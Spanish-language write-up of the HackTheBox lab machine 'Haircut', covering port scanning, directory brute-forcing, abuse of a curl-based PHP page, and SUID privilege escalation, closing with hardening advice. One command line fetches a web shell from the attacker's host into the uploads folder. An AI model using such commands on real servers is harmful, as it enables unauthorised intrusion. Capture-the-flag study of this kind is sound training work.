Hackthebox — Writeup Haircut No/MSF
En esta oportunidad se presento un equipo, que particularmente el acceso inicial fue relativamente nuevo (me refiero al uso de curl), para la escalada de privilegio fue una combinación de identificar binarios SUID y que este sea vulnerable, la compilación por separada y la transferencia de archivo son parte importante de interpretar el script que permite la escalada local de privilegio.
Identificación de puertos y servicios
Como siempre, identificado los posibles caminos para comprometer el equipo
nmap -sC -sV -p22,80 -oA haircut.services 10.10.10.24
Nmap scan report for 10.10.10.24
Host is up (0.23s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeración
Vamos siempre por HTTP, enseguida aparece la siguiente imagen
Se descargó la imagen para ver si habia algo entre “medio”
Se comenzó a identificar directorios
gobuster dir --url http://10.10.10.24/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,txt,cgi
-t 10
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.24/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,cgi
[+] Timeout: 10s
===============================================================
2020/10/23 16:24:00 Starting gobuster
===============================================================
/exposed.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/10/23 16:46:14 Finished
===============================================================
===============================================================
Hacemos una prueba
Al ejecutar el comando vacío, se presenta un interesante error y se identifica que el archivo php, ejecuta curl
Podemos leer ficheros, se identificó el usuario Maria, que además puede iniciar de forma remota ;), ( ahhh no olvidar ssh),
Cargamos una web shell desde nuestro equipo
10.10.14.32:8080/shell.php -o uploads/shell.php
ahora si ;)
Acceso Inicial
Sinceramente intente con un par de payloads reverse shell, pero no funcionaron, luego lo hice de forma “inteligente” confirmando que el intérprete se encuentre instalado como python3 por ejemplo
y con eso ya estamos in ;)
Escalada de Privilegio
Siempre iré primero por sudo, nada ahora por suid se identificó algo en particular
Googleando un poco:
Básicamente el archivo.sh crea y compila 2 binarios
Compilando la libreria
Compilando el binario
Ahora se hace una transferencia de archivos, desde la maquina atacante a la maquina objetivo, siguiendo las instrucciones del exploit
Ahora con esto ya somos root ;)
Listo!
Conclusión
En el acceso inicial se debe restringir el permiso de escritura al directorio /uploads para evitar webshell y otro tipo de archivos innecesarios y “peligrosos”, respecto a la escalada de privilegio, analizar si es necesario activar el suid al binario y actualizar la versión, para evitar la escalada local de privilegio con un determinado exploit.